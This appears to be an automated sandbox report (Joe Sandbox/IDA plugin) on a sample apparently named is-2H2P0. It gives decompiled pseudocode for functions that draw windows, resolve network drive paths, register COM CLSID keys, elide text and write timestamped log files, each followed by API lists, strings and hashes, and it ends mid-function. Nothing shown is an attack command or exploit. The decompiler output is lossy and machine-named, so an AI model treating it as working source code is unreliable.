						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t183 + 0x60)))) + 0x80))();
						E0042362C(_v32);
						E00424BF4(_t183, 1,  *((intOrPtr*)(_t183 + 0x5c)));
					}
				}
				_pop(_t202);
				 *[fs:eax] = _t202;
				_push(0x425001);
				E00403548( &_v124);
				return E00403548( &_v32);
			}

0x00424db3
0x00424db6
0x00424dbe
0x00424dbf
0x00424dc0
0x00424dc4
0x00424dc5
0x00424dca
0x00424dcd
0x00424dd0
0x00424dd8
0x00424fd5
0x00424fd7
0x00424dff
0x00424dff
0x00424e02
0x00424e0c
0x00424e12
0x00424e18
0x00424e24
0x00424e31
0x00424e37
0x00424e40
0x00424e50
0x00424e5a
0x00424e60
0x00424e65
0x00424e7a
0x00424e67
0x00424e6e
0x00424e6e
0x00424e91
0x00424e99
0x00424e9f
0x00424ea7
0x00424ead
0x00424eb6
0x00424ec1
0x00424edb
0x00424ee3
0x00424eff
0x00424eff
0x00424f08
0x00424f0f
0x00000000
0x00424f1f
0x00424f2c
0x00424f3f
0x00424f54
0x00424f65
0x00424f6a
0x00424f6e
0x00424f7b
0x00424f83
0x00424f89
0x00424f95
0x00424f9d
0x00424fa3
0x00424fac
0x00424fbc
0x00424fc2
0x00424fce
0x00424fce
0x00424f0f
0x00424fde
0x00424fe1
0x00424fe4
0x00424fec
0x00424ff9

APIs

Part of subcall function 0041F13C: GetActiveWindow.USER32 ref: 0041F13F
Part of subcall function 0041F13C: GetCurrentThreadId.KERNEL32 ref: 0041F154
Part of subcall function 0041F13C: 740BAC10.USER32(00000000,Function_0001F118), ref: 0041F15A

Part of subcall function 00423270: GetSystemMetrics.USER32 ref: 00423272

OffsetRect.USER32(?,?,?), ref: 00424E91
DrawTextA.USER32(00000000,00000000,000000FF,?,00000C10), ref: 00424F54
OffsetRect.USER32(?,?,?), ref: 00424F65

Part of subcall function 0042362C: GetCurrentThreadId.KERNEL32 ref: 00423641
Part of subcall function 0042362C: SetWindowsHookExA.USER32 ref: 00423651
Part of subcall function 0042362C: CreateThread.KERNEL32 ref: 00423675

Part of subcall function 00424BF4: SetTimer.USER32(00000000,00000001,?,0042357C), ref: 00424C0F

Strings

>MB, xrefs: 00424DBB, 00424E99

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Thread$CurrentOffsetRect$ActiveCreateDrawHookMetricsSystemTextTimerWindowWindows
String ID: >MB
API String ID: 1771318467-212926588
Opcode ID: 9c25055f4f46c9ea9ef540a80fbac8b9d8c1e78b0ba4761b28caf18b40fafde6
Instruction ID: 705f2a192e95c6edbf7467b113717681c3474608ff02e637e93cacb07322a4b7
Opcode Fuzzy Hash: 9c25055f4f46c9ea9ef540a80fbac8b9d8c1e78b0ba4761b28caf18b40fafde6
Instruction Fuzzy Hash: DF811671A00218DFCB14DFA8C884ADEBBF4FF48314F51416AE805AB256EB38AD45CB44

Uniqueness

Uniqueness Score: -1.00%

Function 00407038 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 156
shareCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00407038(intOrPtr* __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				intOrPtr* _v8;
				intOrPtr _v12;
				int _v16;
				int _v20;
				int _v24;
				char _v25;
				void* _v32;
				void* _v36;
				void _v1060;
				char _v1064;
				char _v1068;
				int _t76;
				void* _t113;
				intOrPtr _t116;
				signed int _t128;
				void* _t131;
				void* _t132;
				void* _t134;
				void* _t135;
				intOrPtr _t136;

				_t134 = _t135;
				_t136 = _t135 + 0xfffffbd8;
				_v1064 = 0;
				_v1068 = 0;
				_v12 = __edx;
				_v8 = __eax;
				_push(_t134);
				_push(0x40727c);
				_push( *[fs:eax]);
				 *[fs:eax] = _t136;
				E004035DC(_v12, _v8);
				if( *0x48c0e0 == 1) {
					_v25 = E004028E4( *_v8);
					if(_v25 >= 0x41 && _v25 <= 0x5a && E004036BC(_v8) >= 3 &&  *((char*)(_v8 + 1)) == 0x3a &&  *((char*)(_v8 + 2)) == 0x5c && WNetOpenEnumA(1, 1, 0, 0,  &_v32) == 0) {
						 *[fs:edx] = _t136;
						_v20 = 0x640;
						_v36 = E00402650(_v20,  *[fs:edx], 0x407257, _t134);
						_push(_t134);
						_push(0x407239);
						_push( *[fs:edx]);
						 *[fs:edx] = _t136;
						while(1) {
							L10:
							_v16 = 0xffffffff;
							_v24 = _v20;
							_t76 = WNetEnumResourceA(_v32,  &_v16, _v36,  &_v24);
							if(_t76 == 0xea) {
								break;
							}
							if(_t76 == 0) {
								_t131 = _v16 - 1;
								if(_t131 < 0) {
									continue;
								} else {
									_t132 = _t131 + 1;
									_t128 = 0;
									while(1) {
										_t107 = _v36 + (_t128 << 2) * 8;
										if( *((intOrPtr*)(_v36 + (_t128 << 2) * 8 + 0x10)) != 0 && E004028E4( *((intOrPtr*)( *((intOrPtr*)(_t107 + 0x10))))) == _v25) {
											break;
										}
										_t128 = _t128 + 1;
										_t132 = _t132 - 1;
										if(_t132 != 0) {
											continue;
										} else {
											goto L10;
										}
										goto L21;
									}
									E004038C0(_v8, E004036BC(_v8) - 2, 3,  &_v1064);
									_push(_v1064);
									E00403674( &_v1068,  *((intOrPtr*)(_t107 + 0x14)));
									_pop(_t113);
									E00403708(_v12, _t113, _v1068);
									E00403304();
									E00403304();
								}
							} else {
								E00403304();
								E00403304();
							}
							goto L21;
						}
						_v20 = _v24;
						E00402680( &_v36, _v20);
						goto L10;
					}
				} else {
					_v24 = 0x400;
					if(WNetGetUniversalNameA(E00403880(_v8), 1,  &_v1060,  &_v24) == 0) {
						E00403674(_v12, _v1060);
					}
				}
				L21:
				_pop(_t116);
				 *[fs:eax] = _t116;
				_push(E00407283);
				return E00403568( &_v1068, 2);
			}

0x00407039
0x0040703b
0x00407046
0x0040704c
0x00407052
0x00407055
0x0040705a
0x0040705b
0x00407060
0x00407063
0x0040706c
0x00407078
0x004070c3
0x004070ca
0x00407129
0x0040712c
0x0040713b
0x00407140
0x00407141
0x00407146
0x00407149
0x0040714c
0x0040714c
0x0040714c
0x00407156
0x00407169
0x00407173
0x00000000
0x00000000
0x0040718a
0x0040719e
0x004071a1
0x00000000
0x004071a3
0x004071a3
0x004071a4
0x004071a6
0x004071ae
0x004071b5
0x00000000
0x00000000
0x00407217
0x00407218
0x00407219
0x00000000
0x0040721b
0x00000000
0x0040721b
0x00000000
0x00407219
0x004071e2
0x004071ed
0x004071f7
0x00407205
0x00407206
0x0040720b
0x00407210
0x00407210
0x0040718c
0x0040718c
0x00407191
0x00407191
0x00000000
0x0040718a
0x00407178
0x00407181
0x00000000
0x00407181
0x0040707a
0x0040707a
0x0040709e
0x004070af
0x004070af
0x0040709e
0x0040725e
0x00407260
0x00407263
0x00407266
0x0040727b

APIs

WNetGetUniversalNameA.MPR(00000000,00000001,?,00000400), ref: 00407097
WNetOpenEnumA.MPR(00000001,00000001,00000000,00000000,?), ref: 00407111
WNetEnumResourceA.MPR(?,FFFFFFFF,?,?), ref: 00407169

Strings

Z, xrefs: 004070D0

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Enum$NameOpenResourceUniversal
String ID: Z
API String ID: 3604996873-1505515367
Opcode ID: 939149d5aa9101605caf33572431e8dff8441c543f0c6c8b5d6862fe84fd4df8
Instruction ID: fe88afd7ae99d1cd88c92d979abf1ab5c5088a5c0d84fd8041c215bac6b8633b
Opcode Fuzzy Hash: 939149d5aa9101605caf33572431e8dff8441c543f0c6c8b5d6862fe84fd4df8
Instruction Fuzzy Hash: D8518570E04209AFDB11EF95C941A9EBBB9EB49304F1045BAF900B73D1C779AF418B5A

Uniqueness

Uniqueness Score: -1.00%

Function 00431D88 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 148
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E00431D88(void* __eax, void* __ebx, void* __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				char _v274;
				char _v280;
				char _v284;
				struct HINSTANCE__* _t72;
				void* _t85;
				void* _t142;
				void* _t147;
				intOrPtr _t153;
				void* _t187;
				void* _t190;

				_v280 = 0;
				_v284 = 0;
				_v8 = 0;
				_v12 = 0;
				_t147 = __edx;
				_t187 = __eax;
				_push(_t190);
				_push(0x432011);
				_push( *[fs:eax]);
				 *[fs:eax] = _t190 + 0xfffffee8;
				_t192 =  *((char*)(__eax + 0x24));
				if( *((char*)(__eax + 0x24)) != 0) {
					E0043150C(__eax + 0x10, 0,  &_v8);
					_t72 =  *0x48d014; // 0x400000
					E00403628( &_v12, GetModuleFileNameA(_t72,  &_v274, 0x106),  &_v274, _t192);
					if(_t147 == 0) {
						E004035DC( &_v280, "CLSID\\");
						E004036C4( &_v280, _v8);
						E004036C4( &_v280, 0x432058);
						_push( &_v280);
						E00431580( &_v284);
						_pop(_t85);
						E004036C4(_t85, _v284);
						E00431568(_v280);
						E004035DC( &_v280, "CLSID\\");
						E004036C4( &_v280, _v8);
						E004036C4( &_v280, "\\ProgID");
						E00431568(_v280);
						E004035DC( &_v280, "CLSID\\");
						E004036C4( &_v280, _v8);
						E00431568(_v280);
						E004035DC( &_v280,  *((intOrPtr*)(_t187 + 0xc)));
						E004036C4( &_v280, "\\Clsid");
						E00431568(_v280);
						E00431568( *((intOrPtr*)(_t187 + 0xc)));
					} else {
						E00431538( *((intOrPtr*)(_t187 + 0xc)),  *((intOrPtr*)(_t187 + 0x20)));
						E004035DC( &_v280,  *((intOrPtr*)(_t187 + 0xc)));
						E004036C4( &_v280, "\\Clsid");
						E00431538(_v280, _v8);
						E004035DC( &_v280, "CLSID\\");
						E004036C4( &_v280, _v8);
						E00431538(_v280,  *((intOrPtr*)(_t187 + 0x20)));
						E004035DC( &_v280, "CLSID\\");
						E004036C4( &_v280, _v8);
						E004036C4( &_v280, "\\ProgID");
						E00431538(_v280,  *((intOrPtr*)(_t187 + 0xc)));
						E004035DC( &_v280, "CLSID\\");
						E004036C4( &_v280, _v8);
						E004036C4( &_v280, 0x432058);
						_push( &_v280);
						E00431580( &_v284);
						_pop(_t142);
						E004036C4(_t142, _v284);
						E00431538(_v280, _v12);
					}
				}
				_pop(_t153);
				 *[fs:eax] = _t153;
				_push(E00432018);
				E00403568( &_v284, 2);
				return E00403568( &_v12, 2);
			}

0x00431d96
0x00431d9c
0x00431da2
0x00431da5
0x00431da8
0x00431daa
0x00431dae
0x00431daf
0x00431db4
0x00431db7
0x00431dba
0x00431dbe
0x00431dca
0x00431ddb
0x00431df1
0x00431df8
0x00431f07
0x00431f15
0x00431f25
0x00431f30
0x00431f37
0x00431f42
0x00431f43
0x00431f4e
0x00431f5e
0x00431f6c
0x00431f7c
0x00431f87
0x00431f97
0x00431fa5
0x00431fb0
0x00431fbe
0x00431fce
0x00431fd9
0x00431fe1
0x00431dfe
0x00431e04
0x00431e12
0x00431e22
0x00431e30
0x00431e40
0x00431e4e
0x00431e5c
0x00431e6c
0x00431e7a
0x00431e8a
0x00431e98
0x00431ea8
0x00431eb6
0x00431ec6
0x00431ed1
0x00431ed8
0x00431ee3
0x00431ee4
0x00431ef2
0x00431ef2
0x00431df8
0x00431fe8
0x00431feb
0x00431fee
0x00431ffe
0x00432010

APIs

Part of subcall function 0043150C: 76787E10.OLE32(?,?,00000000,?,?,00431DCF,00000000,00432011,?,?,?,?,?,004321A4), ref: 00431515
Part of subcall function 0043150C: 7678A680.OLE32(00000000,?,?,00000000,?,?,00431DCF,00000000,00432011,?,?,?,?,?,004321A4), ref: 0043152D

GetModuleFileNameA.KERNEL32(00400000,?,00000106,00000000,00432011,?,?,?,?,?,004321A4), ref: 00431DE1

Part of subcall function 00431538: 6C8D6840.ADVAPI32(80000000,00000000,00000001,00000000,00000000,?,?,00431E09,00400000,?,00000106,00000000,00432011,?,?,?), ref: 0043155D

Strings

\ProgID, xrefs: 00431E85, 00431F77
CLSID\, xrefs: 00431E35, 00431E61, 00431E9D, 00431EFC, 00431F53, 00431F8C
\Clsid, xrefs: 00431E1D, 00431FC9

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: 767876787A680D6840FileModuleName
String ID: CLSID\$\Clsid$\ProgID
API String ID: 2206453588-3614834358
Opcode ID: 3084d90feecdf774c6aee464760adea991e88dbb1489097d4054674c6568cd63
Instruction ID: 04e1f787bdd9bc7f31b98ff445f8c8b6e64685fbb5d157f68287dbba7f9a8adf
Opcode Fuzzy Hash: 3084d90feecdf774c6aee464760adea991e88dbb1489097d4054674c6568cd63
Instruction Fuzzy Hash: D851117050011C9BCB29EB11D983ACEB7B9AF48705F5055FBA504632A1DB38EF49CE69

Uniqueness

Uniqueness Score: -1.00%

Function 0042E7F0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E0042E7F0(void* __eax, void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags, intOrPtr* _a4) {
				intOrPtr _v8;
				struct HDC__* _v12;
				char _v16;
				char _v20;
				char _v24;
				struct HDC__* _t54;
				void* _t63;
				intOrPtr _t81;
				void* _t84;
				void* _t86;
				void* _t87;
				intOrPtr _t89;
				intOrPtr _t90;

				_t67 = __ecx;
				_t89 = _t90;
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t84 = __ecx;
				_v8 = __edx;
				_t86 = __eax;
				_t66 = _a4;
				_push(_t89);
				_push(0x42e943);
				_push( *[fs:eax]);
				 *[fs:eax] = _t90;
				_push(0);
				L0040602C();
				_v12 = 0;
				_push(_t89);
				_push(0x42e921);
				_push( *[fs:eax]);
				 *[fs:eax] = _t90;
				SelectObject(_v12, E0041A2B0(_v8, _a4, __ecx, __ecx, __eax));
				E004035DC(_a4, _t86);
				E0042C96C( *_t66, _t67,  &_v20);
				E0042C944( *_t66, _t67,  &_v24);
				_t87 = E0042C6D4();
				if(_t87 < E004036BC(_v20)) {
					_t63 =  *((intOrPtr*)(_v20 + _t87)) - 0x2f;
					if(_t63 == 0 || _t63 == 0x2d) {
						_t87 = _t87 + 1;
					}
				}
				E004038C0(_v20, _t87, 1,  &_v16);
				E00403900( &_v20, _t87, 1);
				while(_v20 != 0 || _v16 != 0) {
					if(_t84 < E0042E4D4(_v12, _t66, 0,  *_t66, _t84, _t87)) {
						if(_v20 != 0) {
							E0042E73C( &_v20, _t66, _t84, _t87);
						}
						if(_v20 == 0 && _v16 != 0) {
							E00403548( &_v16);
							E004035DC( &_v20, 0x42e95c);
						}
						_push(_v16);
						_push(_v20);
						_push(_v24);
						E0040377C();
						continue;
					}
					break;
				}
				_pop(_t81);
				 *[fs:eax] = _t81;
				_push(0x42e928);
				_t54 = _v12;
				_push(_t54);
				_push(0);
				L00406214();
				return _t54;
			}

0x0042e7f0
0x0042e7f1
0x0042e7f3
0x0042e7f5
0x0042e7f7
0x0042e7f9
0x0042e7fb
0x0042e7fd
0x0042e7fe
0x0042e7ff
0x0042e800
0x0042e802
0x0042e805
0x0042e807
0x0042e80c
0x0042e80d
0x0042e812
0x0042e815
0x0042e818
0x0042e81a
0x0042e81f
0x0042e824
0x0042e825
0x0042e82a
0x0042e82d
0x0042e83d
0x0042e846
0x0042e850
0x0042e85a
0x0042e867
0x0042e873
0x0042e87b
0x0042e87d
0x0042e883
0x0042e883
0x0042e87d
0x0042e892
0x0042e8a1
0x0042e8ec
0x0042e906
0x0042e8ac
0x0042e8b1
0x0042e8b1
0x0042e8ba
0x0042e8c5
0x0042e8d2
0x0042e8d2
0x0042e8d7
0x0042e8da
0x0042e8dd
0x0042e8e7
0x00000000
0x0042e8e7
0x00000000
0x0042e906
0x0042e90a
0x0042e90d
0x0042e910
0x0042e915
0x0042e918
0x0042e919
0x0042e91b
0x0042e920

APIs

740BAC50.USER32(00000000,00000000,0042E943,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 0042E81A

Part of subcall function 0041A2B0: CreateFontIndirectA.GDI32(?), ref: 0041A36F

SelectObject.GDI32(?,00000000), ref: 0042E83D
740BB380.USER32(00000000,?,0042E928,00000000,0042E921,?,00000000,00000000,0042E943,?,?,?,?,00000000,00000000,00000000), ref: 0042E91B

Strings

...\, xrefs: 0042E8CD

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: B380CreateFontIndirectObjectSelect
String ID: ...\
API String ID: 1304862298-983595016
Opcode ID: 3c17e9b259d45102cf2c493247704ee487ce6a76f6b5ddcb32572202881f036b
Instruction ID: 8cb0686a906b0fecfa73e9aecb4ef0f18aed98045c6f9abe75b37b1c3a9d5cc0
Opcode Fuzzy Hash: 3c17e9b259d45102cf2c493247704ee487ce6a76f6b5ddcb32572202881f036b
Instruction Fuzzy Hash: 29316270B00129AFDF15EBAAD841BAEB7F8EB48304F90447BF400A7291D7789E41CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00455B64 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 107
timeCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E00455B64(char __eax, void* __ebx, void* __edi, void* __esi) {
				char _v8;
				struct _SYSTEMTIME _v24;
				char _v28;
				char _v32;
				signed int _v36;
				char _v40;
				signed int _v44;
				char _v48;
				signed int _v52;
				char _v56;
				signed int _v60;
				char _v64;
				signed int _v68;
				char _v72;
				signed int _v76;
				void* _t68;
				intOrPtr _t70;
				intOrPtr _t74;
				void* _t79;
				intOrPtr _t92;
				intOrPtr _t94;
				void* _t98;
				void* _t100;
				void* _t102;
				void* _t103;
				intOrPtr _t104;

				_t102 = _t103;
				_t104 = _t103 + 0xffffffb8;
				_v28 = 0;
				_v8 = __eax;
				_push(_t102);
				_push(0x455ceb);
				_push( *[fs:eax]);
				 *[fs:eax] = _t104;
				if( *0x48df04 != 0) {
					GetLocalTime( &_v24);
					_push(_t102);
					_push(0x455c8e);
					_push( *[fs:eax]);
					 *[fs:eax] = _t104;
					_v76 = _v24.wYear & 0x0000ffff;
					_v72 = 0;
					_v68 = _v24.wMonth & 0x0000ffff;
					_v64 = 0;
					_v60 = _v24.wDay & 0x0000ffff;
					_v56 = 0;
					_v52 = _v24.wHour & 0x0000ffff;
					_v48 = 0;
					_v44 = _v24.wMinute & 0x0000ffff;
					_v40 = 0;
					_v36 = _v24.wSecond & 0x0000ffff;
					_v32 = 0;
					E00407988("%.4u-%.2u-%.2u %.2u:%.2u:%.2u   ", 5,  &_v76,  &_v28);
					E00455B48(_v28);
					_t98 = 1;
					_t25 =  &_v8; // 0x45632a
					_t100 = E004036BC( *_t25);
					if(_t100 > 0) {
						_t79 = 1;
						do {
							_t26 =  &_v8; // 0x45632a
							if( *((char*)( *_t26 + _t79 - 1)) == 0xa) {
								_t29 =  &_v8; // 0x45632a
								_t74 =  *0x48df04; // 0x0
								E00450120(_t74, _t79 - _t98 + 1,  *_t29 + _t98 - 1, _t102);
								_t32 = _t79 + 1; // 0x2
								_t98 = _t32;
								E00455B48("                      ");
							}
							_t79 = _t79 + 1;
							_t100 = _t100 - 1;
						} while (_t100 != 0);
					}
					_t33 =  &_v8; // 0x45632a
					if(_t98 <= E004036BC( *_t33)) {
						_t34 =  &_v8; // 0x45632a
						_t68 = E004036BC( *_t34);
						_t35 =  &_v8; // 0x45632a
						_t70 =  *0x48df04; // 0x0
						E00450120(_t70, _t68 - _t98 + 1,  *_t35 + _t98 - 1, _t102);
					}
					E00455B48(0x455d50);
					_pop(_t94);
					 *[fs:eax] = _t94;
				}
				if( *0x48deec != 0) {
					_t38 =  &_v8; // 0x45632a
					E004554FC( *_t38);
				}
				_pop(_t92);
				 *[fs:eax] = _t92;
				_push(E00455CF2);
				return E00403548( &_v28);
			}

0x00455b65
0x00455b67
0x00455b6f
0x00455b72
0x00455b77
0x00455b78
0x00455b7d
0x00455b80
0x00455b8a
0x00455b94
0x00455b9b
0x00455b9c
0x00455ba1
0x00455ba4
0x00455baf
0x00455bb2
0x00455bba
0x00455bbd
0x00455bc5
0x00455bc8
0x00455bd0
0x00455bd3
0x00455bdb
0x00455bde
0x00455be6
0x00455be9
0x00455bfa
0x00455c02
0x00455c07
0x00455c0c
0x00455c14
0x00455c18
0x00455c1a
0x00455c1f
0x00455c1f
0x00455c27
0x00455c2e
0x00455c35
0x00455c3a
0x00455c3f
0x00455c3f
0x00455c47
0x00455c47
0x00455c4c
0x00455c4d
0x00455c4d
0x00455c1f
0x00455c50
0x00455c5a
0x00455c5c
0x00455c5f
0x00455c69
0x00455c70
0x00455c75
0x00455c75
0x00455c7f
0x00455c86
0x00455c89
0x00455c89
0x00455ccb
0x00455ccd
0x00455cd0
0x00455cd0
0x00455cd7
0x00455cda
0x00455cdd
0x00455cea

APIs

GetLocalTime.KERNEL32(?,00000000,00455CEB,?,?,0048DF10,00000000), ref: 00455B94

Part of subcall function 00450120: WriteFile.KERNEL32(?,?,00000000,00450352,00000000,00000000,?,?,?,00450352,00000000,00452881,?,0048B721,00000000,00452922), ref: 00450137

Strings

, xrefs: 00455C42
%.4u-%.2u-%.2u %.2u:%.2u:%.2u , xrefs: 00455BF5
*cE, xrefs: 00455CCD, 00455C0C, 00455C50, 00455C5C, 00455C69, 00455C1F, 00455C2E

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: FileLocalTimeWrite
String ID: $%.4u-%.2u-%.2u %.2u:%.2u:%.2u $*cE
API String ID: 1093383541-807682747
Opcode ID: c2f38518e0a55e0eecc5abd5a429387f84ae3054397d0a343a044653de0c8ad1
Instruction ID: 196cb984fafb3917f2dd800caca8b552f4554cced74b5b27b2932311db97b8e6
Opcode Fuzzy Hash: c2f38518e0a55e0eecc5abd5a429387f84ae3054397d0a343a044653de0c8ad1
Instruction Fuzzy Hash: 6D419F70D04A489FDB11DFA9C9617BEBBF4EB09305F10406AF900A7392D7395E48CB68

Uniqueness

Uniqueness Score: -1.00%

Function 0045593C Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 105
timeCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E0045593C(signed int __eax, void* __ebx, void* __ecx, void* __edi, void* __esi) {
				signed int _v8;
				char _v12;
				signed int _v16;
				char _v20;
				signed int _v24;
				intOrPtr _v28;
				struct _SYSTEMTIME _v44;
				char _v48;
				signed int _v52;
				char _v56;
				signed int _v60;
				char _v64;
				signed int _v68;
				char _v72;
				intOrPtr _t88;
				intOrPtr _t95;
				void* _t99;
				void* _t100;
				intOrPtr _t101;

				_t97 = __esi;
				_t96 = __edi;
				_t77 = __ebx;
				_t99 = _t100;
				_t101 = _t100 + 0xffffffbc;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v72 = 0;
				_v12 = 0;
				_v16 = 0;
				_v20 = 0;
				_v8 = __eax;
				_push(_t99);
				_push(0x455aa9);
				_push( *[fs:eax]);
				 *[fs:eax] = _t101;
				_t102 =  *0x48df04;
				if( *0x48df04 == 0) {
					E0042D8BC( &_v12, __ebx, __ecx, __edi, __esi);
					GetLocalTime( &_v44);
					_v68 = _v44.wYear & 0x0000ffff;
					_v64 = 0;
					_v60 = _v44.wMonth & 0x0000ffff;
					_v56 = 0;
					_v52 = _v44.wDay & 0x0000ffff;
					_v48 = 0;
					E00407988("%.4u-%.2u-%.2u", 2,  &_v68,  &_v16);
					_v24 = 1;
					while(1) {
						_v68 = _v8;
						_v64 = 0xb;
						_v60 = _v16;
						_v56 = 0xb;
						_v52 = _v24;
						_v48 = 0;
						E00407988("%s Log %s #%.3u.txt", 2,  &_v68,  &_v72);
						E00403708( &_v20, _v72, _v12);
						if(E0042CD68(_v20, _t102) != 0) {
							goto L6;
						}
						_v28 = 0;
						_push(_t99);
						_push(0x455a43);
						_push( *[fs:edx]);
						 *[fs:edx] = _t101;
						_v28 = E0044FDE4(1, 1, 1, 1);
						_pop(_t95);
						 *[fs:eax] = _t95;
						if(_v28 == 0) {
							goto L6;
						}
						 *0x48df04 = _v28;
						E00455B64("Log opened.", _t77, _t96, _t97);
						goto L8;
						L6:
						_v24 = _v24 + 1;
					}
				}
				L8:
				_pop(_t88);
				 *[fs:eax] = _t88;
				_push(E00455AB0);
				E00403548( &_v72);
				return E00403568( &_v20, 3);
			}

0x0045593c
0x0045593c
0x0045593c
0x0045593d
0x0045593f
0x00455942
0x00455943
0x00455944
0x00455947
0x0045594a
0x0045594d
0x00455950
0x00455953
0x00455958
0x00455959
0x0045595e
0x00455961
0x00455964
0x0045596b
0x00455974
0x0045597d
0x0045598a
0x0045598d
0x00455995
0x00455998
0x004559a0
0x004559a3
0x004559b4
0x004559b9
0x004559c0
0x004559c7
0x004559ca
0x004559d1
0x004559d4
0x004559db
0x004559de
0x004559ef
0x004559fd
0x00455a0c
0x00000000
0x00000000
0x00455a10
0x00455a15
0x00455a16
0x00455a1b
0x00455a1e
0x00455a36
0x00455a3b
0x00455a3e
0x00455a68
0x00000000
0x00000000
0x00455a6d
0x00455a81
0x00000000
0x00455a74
0x00455a74
0x00455a74
0x004559c0
0x00455a86
0x00455a88
0x00455a8b
0x00455a8e
0x00455a96
0x00455aa8

APIs

GetLocalTime.KERNEL32(004770CC,00000000,00455AA9,?,?,00000000,00000000,00000000), ref: 0045597D

Strings

Log opened., xrefs: 00455A7C
%.4u-%.2u-%.2u, xrefs: 004559AF
%s Log %s #%.3u.txt, xrefs: 004559EA

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: LocalTime
String ID: %.4u-%.2u-%.2u$%s Log %s #%.3u.txt$Log opened.
API String ID: 481472006-3806465849
Opcode ID: 4c65395756873fa8bf238fa11bfeb6aaaff53c2e26898d0b82eb73a5467b8d8b
Instruction ID: 48786d344afea8f2d67796125104a5aaff5ad981458d5bce5972633b0ec6ecc8
Opcode Fuzzy Hash: 4c65395756873fa8bf238fa11bfeb6aaaff53c2e26898d0b82eb73a5467b8d8b
Instruction Fuzzy Hash: DC413AB0D00608AEDB00DFA9D8917EEBBF5EB49304F50416AE800A7291D7795E45CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0045229C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 100
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E0045229C(char __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				char _v8;
				intOrPtr _v12;
